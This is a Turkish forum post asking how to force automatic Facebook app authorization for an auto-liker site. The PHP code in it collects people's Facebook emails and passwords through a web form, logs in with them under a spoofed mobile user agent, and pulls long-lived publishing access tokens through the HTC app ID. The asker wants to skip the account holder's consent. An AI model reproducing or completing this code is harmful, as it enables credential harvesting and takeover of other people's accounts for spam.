Facebook kullanıcı adı ve şifre ile uygulamaya giriş

Bu konuyu okuyanlar

Nrucel

Öğrenci
Katılım
16 Şubat 2014
Mesajlar
14
Reaksiyon puanı
0
Puanları
1
Merhaba arkadaşlar, otomatik giriş yapmak istedim ama bi sıkıntım var. Facebook'ta HTC uygulamasına id pass ile token kodu aldırmak istiyorum. Kişi eğer HTC uygulamasına önceden izin vermişse token kodu aldırabiliyorum ama HTC uygulamasına girmemiş ise token kodu alamıyorum. yapmak istediğim adam eğer uygulamaya girmemişse otomatik uygulamaya izin verdirmek.

örnek: Hublaa Autoliker Facebook Alternatif girişte id pass ile giriliyor. HTC uygulamasına girmemişsenin otomatik sokuyor ve token kodu alıyor.

bendekide otomatik uygulamaya sokup token kodu alamıyor sadece önceden uygulamaya girmişse token kodu alıyor:

Kendi sitem: http://socialtr.com

yardımcı olursanız sevinirim.

PHP:
<?php$dataLog  =  array('host' =>  '127.0.0.1','pass' => $_POST['pass'],'email' => $_POST['email'],);
$bot = new bot($dataLog );
class bot{private $dataLog;function __construct($dataLog){   $this->pass = $dataLog[pass];   $this->email =$dataLog[email];    }

private function _req($url,$type=null,$fields=null){   $opts = array(            19913 => 1,            10002 => $url,            10018 => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',            );   $ch=curl_init();   if($type){       if($type == 1){              $opts[10082] = 'token';              }       if($type == 3){              $opts[42] = 1;             }       $opts[10031] = 'token';    }  if($fields){      $opts[47] = true;      $opts[10015] = $fields;      }   curl_setopt_array($ch,$opts);   $result = curl_exec($ch);   curl_close($ch);   return $result;  }

public function setToken(){   $url = $this->getUrl('m','dialog/oauth',array(             'app_id' => '41158896424',             'next' => urlencode('https://m.facebook.com/connect/login_success.html'),             'response_type' => 'token',             'perms' => 'publish_stream,offline_access,read_stream,publish_actions',          )       );   $getToken = $this->_req($url,3);    if(ereg('access_token',$getToken)){       $accessToken = substr($getToken,strpos($getToken,'access_token')+13,(strpos($getToken,'&expires_in') - (strpos($getToken,'access_token')+13)));       }   if($accessToken){       //$this->saveFile('token.txt',$accessToken);       //return $accessToken;       echo $accessToken;       }else{       //return false;       echo 'Token alınamadı.';       }   }
private function saveFile($x,$y){   $f = fopen($x,'w');        fwrite($f,$y);        fclose($f);   }private function getUrl($domain,$dir,$uri=null){    if($uri){         foreach($uri as $key =>$value){             $parsing[] = $key . '=' . $value;                }             $parse = '?' . implode('&',$parsing);                }     return 'https://' . $domain . '.facebook.com/' . $dir . $parse;        }

public function login(){  $login = array(     'pass' => $this -> pass,     'email' => $this -> email,     'login'  => 'Login',             );  $this->_req($this->getUrl('m','login.php'),1,$login);   }
}
if($_POST) {if($bot->setToken()){    echo $bot->setToken();    }else{    $bot->login();    }}?><form action="" method="post"><input type="text" name="email" placeholder="Kullanıcı adını giriniz."><input type="text" name="pass" placeholder="Şifreyi giriniz."><input type="submit"></form>
 
Üst